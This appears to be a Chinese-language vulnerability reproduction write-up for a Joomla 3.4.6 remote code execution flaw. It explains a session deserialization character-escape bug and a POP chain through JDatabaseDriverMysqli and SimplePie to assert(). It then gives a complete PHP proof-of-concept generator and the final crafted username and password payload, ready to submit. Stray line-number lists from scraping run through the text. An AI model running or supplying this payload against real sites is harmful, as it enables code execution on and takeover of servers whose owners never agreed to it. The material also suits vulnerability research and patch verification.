环境搭建

下载地址:https:downloads.joomla.orgitcmsjoomla33-4-6

php版本:5.5.38(复现环境要求php版本低于5.6.40,不支持php7)

漏洞分析

session逃逸

session 在 Joomla 中的处理有一些的问题,它会把没有通过验证的用户名和密码存储在 _session 表中

1

存入和从数据库中取出用了位于 librariesjoomlasessionstoragedatabase.phpwrite()read()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public function write($id, $data)
{
Get the database connection object and verify its connected.
$db = JFactory::getDbo();

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

Try to update the session data in the database table.
$db->setQuery($query);

if (!$db->execute())
{
return false;
}
* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*
return true;
}
catch (Exception $e)
{
return false;
}
}
public function read($id)
{
Get the database connection object and verify its connected.
$db = JFactory::getDbo();

try
{
Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

$db->setQuery($query);

$result = (string) $db->loadResult();

$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

return $result;
}
catch (Exception $e)
{
return false;
}
}

可以看到,它在写入的过程中将 %00*%00 替换为 \0\0\0 ,因为 MySQL 中不能存储 NULL ,而 protected 变量序列化后带有 %00*%00

在读取过程中会重新把 \0\0\0 替换为 %00*%00 以便反序列化,但是这个替换将 6 字节的内容替换为 3 字节,那么就可能形成反序列化字符逃逸

在这里我们想要的是将password进行逃逸,实现任意对象注入

  • 在数据库中
1
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:4:"1234"
  • 在读取置换之后
1
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"1234"
  • 实现任意对象注入
1
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:4:"1234";s:3:"age";O:6:"Object"

接下来就是POP链的构造

POP链构造

POP链的入口位于JDatabaseDriverMysqli

1
2
3
4
public function __destruct()
{
$this->disconnect();
}

跟进disconnect()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function disconnect()
{
Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}

mysqli_close($this->connection);
}

$this->connection = null;
}

这里的call_user_func_array($h, array( &$this));第一个参数可控,第二个不可控,所以我们可以用call_user_func_array([$obj,"任意方法"],array( &$this))来调用,我们的目标就是SimplePie类的init方法,跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;

if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

第二个call_user_func()函数里面两个参数都是可控的,就导致了RCE

这里需要满足几个条件:

1.feed_url需要满足parse_url的解析(使用phpinfo();JFactory::getConfig();exit;即可绕过)

2.raw_data、cache为True

这里无法直接加载SimplePie类,需要通过加载JSimplepieFactory类来间接加载,因为里面有一段jimport('simplepie.simplepie');

现在就可以写出POC了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class JSimplepieFactory{

}

class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
protected $abc;
protected $connection;
protected $disconnectHandlers;
function __construct()
{
$this->abc = new JSimplepieFactory();
$this->connection = 1;
$this->disconnectHandlers = [
[new SimplePie, "init"],
];
}
}

class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}

$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
?>

最终的账号与密码

1
2
3
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

AAA";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}

2